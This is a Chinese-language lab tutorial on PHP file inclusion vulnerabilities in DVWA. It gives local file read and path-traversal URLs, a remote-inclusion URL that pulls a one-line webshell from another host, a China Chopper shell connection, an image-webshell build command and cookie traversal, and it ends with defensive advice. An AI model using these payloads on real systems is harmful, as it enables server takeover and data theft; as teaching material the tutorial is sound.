文件包含
将重复使用的函数写到单个文件中,需要使用某个函数时,调用这个文件即可,这种文件调用过程称为文件包含
文件包含漏洞
程序开发人员希望代码更灵活,将包含的文件设置为变量,用来进行动态调用,导致客户端可以调用一个恶意文件,造成文件包含漏洞
分为:本地文件包含漏洞和远程文件包含漏洞
文件包含漏洞成因
网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了包含功能),攻击者可以通过修改包含文件的位置来让后台执行任意文件
文件包含函数
include() 执行到include时才包含文件,找不到被包含文件时提示警告,但脚本会继续执行
require() 只要程序已运行就包含文件,找不到被包含的文件时就会产生严重错误,并停止脚本运行
dvwa文件包含实验
本地文件包含
http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=file1.php
将参数值换为本地的文件,发送请求:
http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=c:\windows\system32\drivers\etc\hosts
发现成功读取本地文件
http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=file://c:\windows\system32\drivers\etc\hosts
此时参数是一个file协议,一样可以成功读取
远程文件包含
首先修改php.ini文件中的配置(重点)
allow_url_fopen = On 默认打开,其他都是默认关闭
allow_url_include = On
magic_quotes_gpc = off
http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/info.txt
得到当前系统的敏感信息
http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/cmd.txt
会在本地的fi文件夹中生成一个cmd250.php文件,文件内容为一句话木马
然后http://127.0.0.1:8086/dvwa/vulnerabilities/fi/cmd250.php?cmd=ipconfig,控制当前系统的服务器
http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/filein1.txt
会在本地的fi文件夹中生成一个newfile1.php文件,文件内容为一句话木马,使用菜刀,添加shell,地址栏里输入http://127.0.0.1:8086/dvwa/vulnerabilities/fi/newfile1.php,密码为123,添加成功后双击该shell,发现获得了系统的C盘与D盘
文件包含结合文件上传
在cmd中,先切到所执行文件的路径下,执行copy /b 001.png + muma.php new001.png 会生成一个新的包含木马的图片文件new001.png,切换到高级别,进行文件上传,将生成的木马图片文件上传,拷贝成功上传提醒前面的文件相对路径,切换到低级,使用生成的图片文件进行文件包含,也就是将参数改为之前拷贝的相对路径,发送请求
cookie文件包含
发送请求 127.0.0.1:8086/fileinclude/cookiein,抓包,将cookie值改为 temp=..\..\windows\system32\drivers\etc\hosts,重放请求,发现文件执行成功
第五行代码中的路径为任意路径
文件包含漏洞防范:
1 尽量硬编码文件名称,如aaa.php,不要以变量的形式动态变化
2 过滤:http:// , https:// , ../../等
3 配置文件php.ini中的三个开关都设为关闭
4 采用白名单方式,未出现在白名单中的一律禁止